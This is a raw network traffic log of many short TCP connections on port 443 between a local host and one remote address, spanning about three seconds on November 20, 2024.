Nov 20, 2024 12:58:35.210740089 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.211213112 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.211246014 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.211738110 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.211752892 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.253803968 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.253855944 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.253945112 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.253962994 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.253985882 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.254040003 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.254208088 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.254225016 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.254232883 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.254237890 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.257561922 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.257612944 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.257704020 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.257872105 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.257884979 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.298018932 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.298465014 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.298521996 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.298589945 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.298607111 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.298619986 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.298624992 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.301791906 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.301834106 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.301909924 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.302061081 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.302076101 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.316451073 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.316585064 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.316808939 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.316808939 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.316848993 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.316859961 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.319761992 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.319787979 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.319847107 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.319972992 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.319997072 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.496098995 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.496618986 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.496644974 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.497240067 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.497247934 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.533116102 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.533580065 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.533607006 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.534027100 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.534034014 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.600802898 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.601432085 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.601538897 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.601593018 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.601609945 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.601620913 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.601627111 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.605017900 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.605067015 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.605124950 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.605290890 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.605304003 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.638639927 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.638766050 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.638827085 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.638953924 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.638974905 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.638986111 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.638991117 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.641851902 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.641895056 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.641978979 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.642163992 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.642178059 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.915168047 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.915963888 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.915994883 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.916552067 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.916560888 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.945096970 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.945657015 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.945687056 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.946057081 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.946063042 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.962443113 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.963027954 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.963047981 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:35.963469982 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:35.963474989 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.020122051 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.020214081 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.020287037 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.020467043 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.020488977 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.020503044 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.020510912 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.024030924 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.024126053 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.024235964 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.024398088 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.024432898 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.047643900 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.047739983 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.047822952 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.053271055 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.053304911 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.053324938 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.053333044 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.057249069 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.057308912 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.057415962 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.057699919 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.057710886 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.061796904 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.066008091 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.066078901 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.066108942 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.066128016 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.066138983 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.066143990 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.068908930 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.068937063 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.069005966 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.069147110 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.069154024 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.249248028 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.250009060 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.250032902 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.250592947 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.250597954 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.278867960 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.279481888 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.279498100 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.279995918 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.280003071 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.347403049 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.347505093 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.347563982 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.347784996 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.347805977 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.347815990 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.347821951 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.350966930 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.350991964 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.351062059 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.351229906 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.351241112 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.377846956 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.378235102 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.378374100 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.378484011 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.378509998 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.378521919 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.378529072 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.384113073 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.384144068 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.384210110 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.385483027 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.385497093 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.665343046 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.666131020 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.666157961 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.666649103 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.666659117 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.696822882 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.697604895 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.697632074 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.698122025 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.698129892 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.746157885 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.746730089 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.746753931 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.747206926 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.747215033 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.764542103 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.764735937 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.764787912 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.764838934 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.764858961 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.764873981 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.764883041 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.768389940 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.768429995 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.768495083 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.768671989 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.768683910 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.799554110 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.799623966 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.799671888 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.799825907 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.799825907 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.799854040 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.799880981 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.802813053 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.802845001 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.802905083 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.803067923 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.803077936 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.856364965 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.856730938 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.856772900 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.856785059 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.856827974 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.856865883 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.856889009 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.856904984 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.856904984 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.856915951 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.856925964 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.859330893 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.859370947 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:36.859424114 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.859558105 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:36.859575987 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.026813984 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.036766052 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.036792994 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.037213087 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.037223101 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.054531097 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.054960012 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.054979086 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.055386066 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.055391073 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.138317108 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.138406038 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.138461113 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.144488096 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.144519091 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.144534111 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.144541025 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.147567987 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.147604942 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.147669077 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.148195028 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.148211002 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.165040016 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.165446043 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.165484905 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.165499926 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.165555000 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.165740967 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.165757895 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.165767908 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.165771961 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.169826031 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.169884920 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.169970036 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.170126915 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.170145988 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.425457954 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.426209927 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.426260948 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.427037954 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.427053928 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.453681946 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.456433058 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.456440926 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.457314014 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.457319975 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.524956942 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.532449961 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.532707930 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.532768011 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.543689013 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.543723106 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.544399023 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.544405937 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.544898987 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.544938087 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.544965982 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.544981956 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.550124884 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.550173998 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.550235987 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.550451040 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.550466061 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.554342985 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.554476023 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.554518938 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.555183887 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.555203915 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.564336061 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.564383984 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.564440966 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.564572096 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.564583063 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.660244942 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.660360098 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.660449982 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.662781954 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.662801981 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.662831068 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.662838936 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.666785002 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.666830063 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.667145967 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.667327881 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.667341948 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.793118000 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.799488068 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.799510956 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.809031963 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.809053898 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.819825888 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.825129986 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.825175047 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.834635973 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.834647894 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.905256987 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.905337095 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.905456066 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.905455112 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.905657053 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.905906916 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.905927896 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.905941010 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.905946970 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.924083948 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.924140930 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.924215078 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.924437046 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.924454927 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.932512999 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.933464050 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.933523893 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.933564901 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.933583021 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.939040899 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.939137936 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:37.939232111 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.939610004 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:37.939649105 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.218991041 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.219357014 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.225662947 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.225692034 CET	443	49865	13.107.246.45	192.168.2.4
